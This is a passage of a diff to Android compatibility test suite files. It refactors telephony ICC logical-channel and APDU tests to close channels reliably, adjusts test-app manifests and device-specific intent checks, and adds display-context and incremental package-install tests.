         assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS, value);
     }
 
-    private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
-        assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS, value);
+    private static void assertUpdateAvailableNetworkNoOpportunisticSubAvailable(int value) {
+        assertEquals(
+                TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE, value);
     }
 
     private static void assertSetOpportunisticSubSuccess(int value) {
@@ -321,8 +310,8 @@
         List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
         Consumer<Integer> callbackSuccess =
                 CarrierApiTest::assertUpdateAvailableNetworkSuccess;
-        Consumer<Integer> callbackFailure =
-                CarrierApiTest::assertUpdateAvailableNetworkInvalidArguments;
+        Consumer<Integer> callbackNoOpportunisticSubAvailable =
+                CarrierApiTest::assertUpdateAvailableNetworkNoOpportunisticSubAvailable;
         Consumer<Integer> setOpCallbackSuccess = CarrierApiTest::assertSetOpportunisticSubSuccess;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
                 || !mSubscriptionManager.isActiveSubscriptionId(
@@ -333,15 +322,16 @@
                         bands);
                 availableNetworkInfos.add(availableNetworkInfo);
                 // Call updateAvailableNetworks without opportunistic subscription.
-                // callbackFailure is expected to be triggered and the return value will be checked
-                // against UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS
+                // callbackNoOpportunisticSubAvailable is expected to be triggered
+                // and the return value will be checked against
+                // UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE
                 mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
-                        AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+                        AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
             } finally {
                 // clear all the operations at the end of test.
                 availableNetworkInfos.clear();
                 mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
-                        AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+                        AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
             }
         } else {
             // This is case of DSDS phone, one active opportunistic subscription and one
@@ -658,25 +648,43 @@
         // The AID here doesn't matter - we just need to open a valid connection. In this case, the
         // specified AID ("") opens a channel and selects the MF.
         IccOpenLogicalChannelResponse response = mTelephonyManager.iccOpenLogicalChannel("");
-        verifyValidIccOpenLogicalChannelResponse(response);
-        mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
+        final int logicalChannel = response.getChannel();
+        try {
+            verifyValidIccOpenLogicalChannelResponse(response);
+        } finally {
+            mTelephonyManager.iccCloseLogicalChannel(logicalChannel);
+        }
+    }
+
+    public void testIccOpenLogicalChannelWithValidP2() {
+        if (!hasCellular) return;
 
         // {@link TelephonyManager#iccOpenLogicalChannel} sends a Manage Channel (open) APDU
         // followed by a Select APDU with the given AID and p2 values. See Open Mobile API
         // Specification v3.2 Section 6.2.7.h and TS 102 221 for details.
         int p2 = 0x0C; // '0C' for no data returned (TS 102 221 Section 11.1.1.2)
-        response = mTelephonyManager.iccOpenLogicalChannel("", p2);
-        verifyValidIccOpenLogicalChannelResponse(response);
-        mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
+        IccOpenLogicalChannelResponse response = mTelephonyManager.iccOpenLogicalChannel("", p2);
+        final int logicalChannel = response.getChannel();
+        try {
+            verifyValidIccOpenLogicalChannelResponse(response);
+        } finally {
+            mTelephonyManager.iccCloseLogicalChannel(logicalChannel);
+        }
+    }
+
+    public void testIccOpenLogicalChannelWithInvalidP2() {
+        if (!hasCellular) return;
 
         // Valid p2 values are defined in TS 102 221 Table 11.2. Per Table 11.2, 0xF0 should be
         // invalid. Any p2 values that produce non '9000'/'62xx'/'63xx' status words are treated as
         // an error and the channel is not opened. Due to compatibility issues with older devices,
         // this check is only enabled for new devices launching on Q+.
         if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.Q) {
-            p2 = 0xF0;
-            response = mTelephonyManager.iccOpenLogicalChannel("", p2);
-            assertEquals(INVALID_CHANNEL, response.getChannel());
+            int p2 = 0xF0;
+            IccOpenLogicalChannelResponse response =
+                    mTelephonyManager.iccOpenLogicalChannel("", p2);
+            final int logicalChannel = response.getChannel();
+            assertEquals(INVALID_CHANNEL, logicalChannel);
             assertNotEquals(STATUS_NO_ERROR, response.getStatus());
         }
     }
@@ -691,6 +699,7 @@
         // The directory here doesn't matter - we just need to open a valid connection that can
         // later be closed. In this case, the specified AID ("") opens a channel and selects the MF.
         IccOpenLogicalChannelResponse response = mTelephonyManager.iccOpenLogicalChannel("");
+
         // Check that the select command succeeded. This ensures that the logical channel is indeed
         // open.
         assertArrayEquals(STATUS_NORMAL, response.getSelectResponse());
@@ -699,9 +708,6 @@
         // Close opened channel twice.
         assertFalse(mTelephonyManager.iccCloseLogicalChannel(response.getChannel()));
 
-        // Close channel that is not open.
-        assertFalse(mTelephonyManager.iccCloseLogicalChannel(2));
-
         // Channel 0 is guaranteed to be always available and cannot be closed, per TS 102 221
         // Section 11.1.17
         assertFalse(mTelephonyManager.iccCloseLogicalChannel(0));
@@ -718,59 +724,66 @@
         if (!hasCellular) return;
 
         // An open LC is required for transmitting APDU commands. This opens an LC to the MF.
-        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
+        IccOpenLogicalChannelResponse iccOpenLogicalChannelResponse =
+                mTelephonyManager.iccOpenLogicalChannel("");
 
         // Get the status of the current directory. This should match the MF. TS 102 221 Section
         // 11.1.2
-        int channel = logicalChannel.getChannel();
-        int cla = CLA_STATUS;
-        int p1 = 0; // no indication of application status
-        int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
-        int p3 = 0; // length of 'data' payload
-        String data = "";
-        String response = mTelephonyManager
-                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
-        FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(response);
-        // Check that the FCP Template's file ID matches the MF
-        assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
-        assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+        final int logicalChannel = iccOpenLogicalChannelResponse.getChannel();
 
-        // Select the Access Rule Reference for the MF. Similar to the MF, this will exist across
-        // all SIM cards. TS 102 221 Section 11.1.1
-        cla = CLA_SELECT;
-        p1 = 0; // select EF by FID
-        p2 = 0x04; // requesting FCP template
-        p3 = 2; // data (FID to be selected) is 2 bytes
-        data = MF_ARR_FILE_ID;
-        response = mTelephonyManager
-                .iccTransmitApduLogicalChannel(
-                        channel, cla, COMMAND_SELECT, p1, p2, p3, data);
+        try {
+            int cla = CLA_STATUS;
+            int p1 = 0; // no indication of application status
+            int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel()
+                        // above
+            int p3 = 0; // length of 'data' payload
+            String data = "";
+            String response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_STATUS, p1, p2, p3, data);
+            FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(response);
+            // Check that the FCP Template's file ID matches the MF
+            assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+            assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
 
-        // Devices launching with Q or later must immediately return the FCP template from the
-        // previous SELECT command. Some devices that launched before Q return TPDUs (instead of
-        // APDUs) - these devices must issue a subsequent GET RESPONSE command to get the FCP
-        // template.
-        if (Build.VERSION.FIRST_SDK_INT < Build.VERSION_CODES.Q) {
-            // Conditionally need to send GET RESPONSE apdu based on response from TelephonyManager
-            if (response.startsWith(STATUS_BYTES_REMAINING)) {
-                // Read the FCP template from the ICC. TS 102 221 Section 12.1.1
-                cla = CLA_GET_RESPONSE;
-                p1 = 0;
-                p2 = 0;
-                p3 = 0;
-                data = "";
-                response = mTelephonyManager
-                       .iccTransmitApduLogicalChannel(
-                                channel, cla, COMMAND_GET_RESPONSE, p1, p2, p3, data);
+            // Select the Access Rule Reference for the MF. Similar to the MF, this will exist
+            // across all SIM cards. TS 102 221 Section 11.1.1
+            cla = CLA_SELECT;
+            p1 = 0; // select EF by FID
+            p2 = 0x04; // requesting FCP template
+            p3 = 2; // data (FID to be selected) is 2 bytes
+            data = MF_ARR_FILE_ID;
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_SELECT, p1, p2, p3, data);
+
+            // Devices launching with Q or later must immediately return the FCP template from the
+            // previous SELECT command. Some devices that launched before Q return TPDUs (instead of
+            // APDUs) - these devices must issue a subsequent GET RESPONSE command to get the FCP
+            // template.
+            if (Build.VERSION.FIRST_SDK_INT < Build.VERSION_CODES.Q) {
+                // Conditionally need to send GET RESPONSE apdu based on response from
+                // TelephonyManager
+                if (response.startsWith(STATUS_BYTES_REMAINING)) {
+                    // Read the FCP template from the ICC. TS 102 221 Section 12.1.1
+                    cla = CLA_GET_RESPONSE;
+                    p1 = 0;
+                    p2 = 0;
+                    p3 = 0;
+                    data = "";
+                    response =
+                            mTelephonyManager.iccTransmitApduLogicalChannel(
+                                    logicalChannel, cla, COMMAND_GET_RESPONSE, p1, p2, p3, data);
+                }
             }
+
+            fcpTemplate = FcpTemplate.parseFcpTemplate(response);
+            // Check that the FCP Template's file ID matches the selected ARR
+            assertTrue(containsFileId(fcpTemplate, MF_ARR_FILE_ID));
+            assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+        } finally {
+            mTelephonyManager.iccCloseLogicalChannel(logicalChannel);
         }
-
-        fcpTemplate = FcpTemplate.parseFcpTemplate(response);
-        // Check that the FCP Template's file ID matches the selected ARR
-        assertTrue(containsFileId(fcpTemplate, MF_ARR_FILE_ID));
-        assertEquals(STATUS_NORMAL_STRING, fcpTemplate.getStatus());
-
-        mTelephonyManager.iccCloseLogicalChannel(channel);
     }
 
     /**
@@ -781,72 +794,82 @@
         if (!hasCellular) return;
 
         // An open LC is required for transmitting apdu commands. This opens an LC to the MF.
-        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
-        int channel = logicalChannel.getChannel();
+        IccOpenLogicalChannelResponse iccOpenLogicalChannelResponse =
+                mTelephonyManager.iccOpenLogicalChannel("");
+        final int logicalChannel = iccOpenLogicalChannelResponse.getChannel();
 
-        // Make some invalid APDU commands and make sure they fail as expected.
-        // Use an invalid p1 value for Status apdu
-        int cla = CLA_STATUS | channel;
-        int p1 = 0xFF; // only '00', '01', and '02' are allowed
-        int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
-        int p3 = 0; // length of 'data' payload
-        String data = "";
-        String response = mTelephonyManager
-                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
-        assertTrue(INVALID_PARAMETERS_STATUSES.contains(response));
+        try {
+            // Make some invalid APDU commands and make sure they fail as expected.
+            // Use an invalid p1 value for Status apdu
+            int cla = CLA_STATUS | logicalChannel;
+            int p1 = 0xFF; // only '00', '01', and '02' are allowed
+            int p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel()
+                        // above
+            int p3 = 0; // length of 'data' payload
+            String data = "";
+            String response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_STATUS, p1, p2, p3, data);
+            assertTrue(INVALID_PARAMETERS_STATUSES.contains(response));
 
-        // Select a file that doesn't exist
-        cla = CLA_SELECT;
-        p1 = 0x00; // select by file ID
-        p2 = 0x0C; // no data returned
-        p3 = 0x02; // length of 'data' payload
-        data = "FFFF"; // invalid file ID
-        response = mTelephonyManager
-                .iccTransmitApduLogicalChannel(channel, cla, COMMAND_SELECT, p1, p2, p3, data);
-        assertEquals(STATUS_FILE_NOT_FOUND, response);
+            // Select a file that doesn't exist
+            cla = CLA_SELECT;
+            p1 = 0x00; // select by file ID
+            p2 = 0x0C; // no data returned
+            p3 = 0x02; // length of 'data' payload
+            data = "FFFF"; // invalid file ID
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_SELECT, p1, p2, p3, data);
+            assertEquals(STATUS_FILE_NOT_FOUND, response);
 
-        // Manage channel with incorrect p1 parameter
-        cla = CLA_MANAGE_CHANNEL | channel;
-        p1 = 0x83; // Only '80' or '00' allowed for Manage Channel p1
-        p2 = channel; // channel to be closed
-        p3 = 0; // length of 'data' payload
-        data = "";
-        response = mTelephonyManager
-            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_MANAGE_CHANNEL, p1, p2, p3, data);
-        assertTrue(isErrorResponse(response));
+            // Manage channel with incorrect p1 parameter
+            cla = CLA_MANAGE_CHANNEL | logicalChannel;
+            p1 = 0x83; // Only '80' or '00' allowed for Manage Channel p1
+            p2 = logicalChannel; // channel to be closed
+            p3 = 0; // length of 'data' payload
+            data = "";
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_MANAGE_CHANNEL, p1, p2, p3, data);
+            assertTrue(isErrorResponse(response));
 
-        // Use an incorrect class byte for Status apdu
-        cla = 0xFF;
-        p1 = 0; // no indication of application status
-        p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
-        p3 = 0; // length of 'data' payload
-        data = "";
-        response = mTelephonyManager
-            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_STATUS, p1, p2, p3, data);
-        assertEquals(STATUS_WRONG_CLASS, response);
+            // Use an incorrect class byte for Status apdu
+            cla = 0xFF;
+            p1 = 0; // no indication of application status
+            p2 = 0; // same response parameters as the SELECT in the iccOpenLogicalChannel() above
+            p3 = 0; // length of 'data' payload
+            data = "";
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_STATUS, p1, p2, p3, data);
+            assertEquals(STATUS_WRONG_CLASS, response);
 
-        // Provide a data field that is longer than described for Select apdu
-        cla = CLA_SELECT | channel;
-        p1 = 0; // select by file ID
-        p2 = 0x0C; // no data returned
-        p3 = 0x04; // data passed is actually 2 bytes long
-        data = "3F00"; // valid ID
-        response = mTelephonyManager
-            .iccTransmitApduLogicalChannel(channel, cla, COMMAND_SELECT, p1, p2, p3, data);
-        assertTrue(isErrorResponse(response));
+            // Provide a data field that is longer than described for Select apdu
+            cla = CLA_SELECT | logicalChannel;
+            p1 = 0; // select by file ID
+            p2 = 0x0C; // no data returned
+            p3 = 0x04; // data passed is actually 2 bytes long
+            data = "3F00"; // valid ID
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, COMMAND_SELECT, p1, p2, p3, data);
+            assertTrue(isErrorResponse(response));
 
-        // Use an invalid instruction
-        cla = 0;
-        p1 = 0;
-        p2 = 0;
-        p3 = 0;
-        data = "";
-        int invalidInstruction = 0xFF; // see TS 102 221 Table 10.5 for valid instructions
-        response = mTelephonyManager
-            .iccTransmitApduLogicalChannel(channel, cla, invalidInstruction, p1, p2, p3, data);
-        assertTrue(isErrorResponse(response));
-
-        mTelephonyManager.iccCloseLogicalChannel(channel);
+            // Use an invalid instruction
+            cla = 0;
+            p1 = 0;
+            p2 = 0;
+            p3 = 0;
+            data = "";
+            int invalidInstruction = 0xFF; // see TS 102 221 Table 10.5 for valid instructions
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, cla, invalidInstruction, p1, p2, p3, data);
+            assertTrue(isErrorResponse(response));
+        } finally {
+            mTelephonyManager.iccCloseLogicalChannel(logicalChannel);
+        }
     }
 
     /**
@@ -857,26 +880,31 @@
         if (!hasCellular) return;
 
         // Open a logical channel and select the MF.
-        IccOpenLogicalChannelResponse logicalChannel = mTelephonyManager.iccOpenLogicalChannel("");
-        int channel = logicalChannel.getChannel();
+        IccOpenLogicalChannelResponse iccOpenLogicalChannel =
+                mTelephonyManager.iccOpenLogicalChannel("");
+        final int logicalChannel = iccOpenLogicalChannel.getChannel();
 
-        // Select the ICCID. TS 102 221 Section 13.2
-        int p1 = 0; // select by file ID
-        int p2 = 0x0C; // no data returned
-        int p3 = 2; // length of 'data' payload
-        String response = mTelephonyManager.iccTransmitApduLogicalChannel(
-                channel, CLA_SELECT, COMMAND_SELECT, p1, p2, p3, ICCID_FILE_ID);
-        assertEquals(STATUS_NORMAL_STRING, response);
+        try {
+            // Select the ICCID. TS 102 221 Section 13.2
+            int p1 = 0; // select by file ID
+            int p2 = 0x0C; // no data returned
+            int p3 = 2; // length of 'data' payload
+            String response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, CLA_SELECT, COMMAND_SELECT, p1, p2, p3, ICCID_FILE_ID);
+            assertEquals(STATUS_NORMAL_STRING, response);
 
-        // Read the contents of the ICCID.
-        p1 = 0; // 0-byte offset
-        p2 = 0; // 0-byte offset
-        p3 = 0; // length of 'data' payload
-        response = mTelephonyManager.iccTransmitApduLogicalChannel(
-                channel, CLA_READ_BINARY, COMMAND_READ_BINARY, p1, p2, p3, "");
-        assertTrue(response.endsWith(STATUS_NORMAL_STRING));
-
-        mTelephonyManager.iccCloseLogicalChannel(channel);
+            // Read the contents of the ICCID.
+            p1 = 0; // 0-byte offset
+            p2 = 0; // 0-byte offset
+            p3 = 0; // length of 'data' payload
+            response =
+                    mTelephonyManager.iccTransmitApduLogicalChannel(
+                            logicalChannel, CLA_READ_BINARY, COMMAND_READ_BINARY, p1, p2, p3, "");
+            assertTrue(response.endsWith(STATUS_NORMAL_STRING));
+        } finally {
+            mTelephonyManager.iccCloseLogicalChannel(logicalChannel);
+        }
     }
 
     /**
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index f7c6c23..f195701 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -4,6 +4,7 @@
 
     <application
         android:allowBackup="true"
+        android:debuggable="true"
         android:icon="@mipmap/ic_launcher"
         android:label="@string/app_name"
         android:roundIcon="@mipmap/ic_launcher_round"
diff --git a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
index 9e45d4a..f1b5184 100644
--- a/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
+++ b/tests/tests/content/pm/SecureFrp/AndroidManifest.xml
@@ -18,7 +18,6 @@
           package="com.android.tests.securefrpinstall" >
 
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
diff --git a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
index 2f1dfc7..e2712e6 100644
--- a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
+++ b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
@@ -59,7 +59,7 @@
     private static void setSecureFrp(boolean secureFrp) throws Exception {
         adoptShellPermissions();
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
-                "settings put secure secure_frp_mode " + (secureFrp ? "1" : "0"));
+                "settings put --user 0 secure secure_frp_mode " + (secureFrp ? "1" : "0"));
         dropShellPermissions();
     }
 
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 29a860e..47ccab4 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -445,7 +445,10 @@
     }
 
     public void testInteractAcrossProfilesSettings() {
-        assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        }
     }
 
     public void testChangeDefaultSmsApplication() {
@@ -496,6 +499,12 @@
 
     @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
+        // Android only supports Initiator-... modes right now, which require the device to
+        // have a QR-code capture mechanism. Therefore this feature does not make sense on
+        // non-handheld devices.
+        if (!isHandheld()) {
+            return;
+        }
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
         if (manager.isEasyConnectSupported()) {
@@ -529,6 +538,11 @@
     }
 
     public void testVoiceInputSettingsIntent() {
+        // Non-handheld devices do not allow more than one VoiceInteractionService, and therefore do
+        // not have to support this Intent.
+        if (!isHandheld()) {
+            return;
+        }
         Intent intent = new Intent(Settings.ACTION_VOICE_INPUT_SETTINGS);
         assertCanBeHandled(intent);
     }
diff --git a/tests/tests/content/src/android/content/cts/ContextAccessTest.java b/tests/tests/content/src/android/content/cts/ContextAccessTest.java
index 9abd8d9..52f2812 100644
--- a/tests/tests/content/src/android/content/cts/ContextAccessTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextAccessTest.java
@@ -16,6 +16,8 @@
 
 package android.content.cts;
 
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
@@ -27,7 +29,11 @@
 import android.content.Context;
 import android.content.ContextWrapper;
 import android.content.Intent;
+import android.content.res.Configuration;
+import android.graphics.PixelFormat;
 import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.platform.test.annotations.Presubmit;
@@ -54,6 +60,8 @@
  *     - get {@link Display} entity</li>
  *     <li>Context via {@link Context#createDisplayContext(Display)}
  *     - get {@link Display} entity</li>
+ *     <li>Context derived from display context
+ *     - get {@link Display} entity</li>
  *     <li>{@link ContextWrapper} with base display-associated {@link Context}
  *     - get {@link Display} entity</li>
  *     <li>{@link ContextWrapper} with base non-display-associated {@link Context}
@@ -99,6 +107,42 @@
     }
 
     @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnPrimaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(false /* onSecondaryDisplay */);
+    }
+
+    @Test
+    public void testGetDisplayFromDisplayContextDerivedContextOnSecondaryDisplay() {
+        verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
+    }
+
+    private void verifyGetDisplayFromDisplayContextDerivedContext(
+            boolean onSecondaryDisplay) {
+        final DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        final Display display;
+        if (onSecondaryDisplay) {
+            display = getSecondaryDisplay(displayManager);
+        } else {
+            display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        }
+        final Context context = mContext.createDisplayContext(display)
+                .createConfigurationContext(new Configuration());
+        assertEquals(display, context.getDisplay());
+    }
+
+    private static Display getSecondaryDisplay(DisplayManager displayManager) {
+        final int width = 800;
+        final int height = 480;
+        final int density = 160;
+        ImageReader reader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888,
+                2 /* maxImages */);
+        VirtualDisplay virtualDisplay = displayManager.createVirtualDisplay(
+                ContextTest.class.getName(), width, height, density, reader.getSurface(),
+                VIRTUAL_DISPLAY_FLAG_PUBLIC | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY);
+        return virtualDisplay.getDisplay();
+    }
+
+    @Test
     public void testGetDisplayFromWindowContext() {
         final Display display = mContext.getSystemService(DisplayManager.class)
                 .getDisplay(DEFAULT_DISPLAY);
diff --git a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
index 354ab58..beab1c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
@@ -19,9 +19,6 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.content.pm.FeatureGroupInfo;
-import android.content.pm.FeatureInfo;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.BatteryManager;
 import android.os.Environment;
@@ -29,10 +26,7 @@
 import android.test.AndroidTestCase;
 import android.util.DisplayMetrics;
 import android.util.Log;
-
 import android.view.WindowManager;
-import java.util.Arrays;
-import java.util.Comparator;
 
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class FeatureTest extends AndroidTestCase {
@@ -57,16 +51,6 @@
                 mPackageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS);
     }
 
-    public void testNoManagedUsersIfLowRamDevice() {
-        if (mPackageManager == null || mActivityManager == null) {
-            Log.w(TAG, "Skipping testNoManagedUsersIfLowRamDevice");
-            return;
-        }
-        if (mActivityManager.isLowRamDevice()) {
-            assertFalse(mSupportsManagedProfiles);
-        }
-    }
-
     /**
      * Test whether device supports managed profiles as required by CDD
      */
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 54a5bc0..75f7cc4 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -44,6 +44,8 @@
 import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
@@ -51,6 +53,8 @@
 import java.io.Reader;
 import java.util.Arrays;
 import java.util.Optional;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
 
 @RunWith(AndroidJUnit4.class)
 @AppModeFull
@@ -59,6 +63,7 @@
 
     private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
     private static final String TEST_APK = "HelloWorld5.apk";
+    private static final String TEST_APK_SPLIT = "HelloWorld5_hdpi-v4.apk";
 
     private static UiAutomation getUiAutomation() {
         return InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -71,6 +76,33 @@
         }
     }
 
+    private static String executeShellCommand(String command, File[] inputs)
+            throws IOException {
+        return executeShellCommand(command, inputs, Stream.of(inputs).mapToLong(
+                File::length).toArray());
+    }
+
+    private static String executeShellCommand(String command, File[] inputs, long[] expected)
+            throws IOException {
+        assertEquals(inputs.length, expected.length);
+        final ParcelFileDescriptor[] pfds =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                        .executeShellCommandRw(command);
+        ParcelFileDescriptor stdout = pfds[0];
+        ParcelFileDescriptor stdin = pfds[1];
+        try (FileOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(
+                stdin)) {
+            for (int i = 0; i < inputs.length; i++) {
+                try (FileInputStream inputStream = new FileInputStream(inputs[i])) {
+                    writeFullStream(inputStream, outputStream, expected[i]);
+                }
+            }
+        }
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            return readFullStream(inputStream);
+        }
+    }
+
     private static String readFullStream(InputStream inputStream, long expected)
             throws IOException {
         ByteArrayOutputStream result = new ByteArrayOutputStream();
@@ -88,7 +120,7 @@
         byte[] buffer = new byte[1024];
         long total = 0;
         int length;
-        while ((length = inputStream.read(buffer)) != -1) {
+        while ((length = inputStream.read(buffer)) != -1 && (expected < 0 || total < expected)) {
             outputStream.write(buffer, 0, length);
             total += length;
         }
@@ -131,7 +163,64 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
     }
 
-    static class TestDataLoaderService extends DataLoaderService {}
+    @Test
+    public void testInstallWithIdSigAndSplit() throws Exception {
+        File apkfile = new File(createApkPath(TEST_APK));
+        File splitfile = new File(createApkPath(TEST_APK_SPLIT));
+        File[] files = new File[]{apkfile, splitfile};
+        String param = Arrays.stream(files).map(
+                file -> file.getName() + ":" + file.length()).collect(Collectors.joining(" "));
+        assertEquals("Success\n", executeShellCommand(
+                String.format("pm install-incremental -t -g -S %s %s",
+                        (apkfile.length() + splitfile.length()), param),
+                files));
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi", getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testInstallWithIdSigInvalidLength() throws Exception {
+        File file = new File(createApkPath(TEST_APK));
+        assertTrue(
+                executeShellCommand("pm install-incremental -t -g -S " + (file.length() - 1),
+                        new File[]{file}).contains(
+                        "Failure"));
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testInstallWithIdSigStreamIncompleteData() throws Exception {
+        File file = new File(createApkPath(TEST_APK));
+        long length = file.length();
+        // Streaming happens in blocks of 1024 bytes, new length will not stream the last block.
+        long newLength = length - (length % 1024 == 0 ? 1024 : length % 1024);
+        assertTrue(
+                executeShellCommand("pm install-incremental -t -g -S " + length,
+                        new File[]{file}, new long[]{newLength}).contains(
+                        "Failure"));
+        assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testInstallWithIdSigStreamIncompleteDataForSplit() throws Exception {
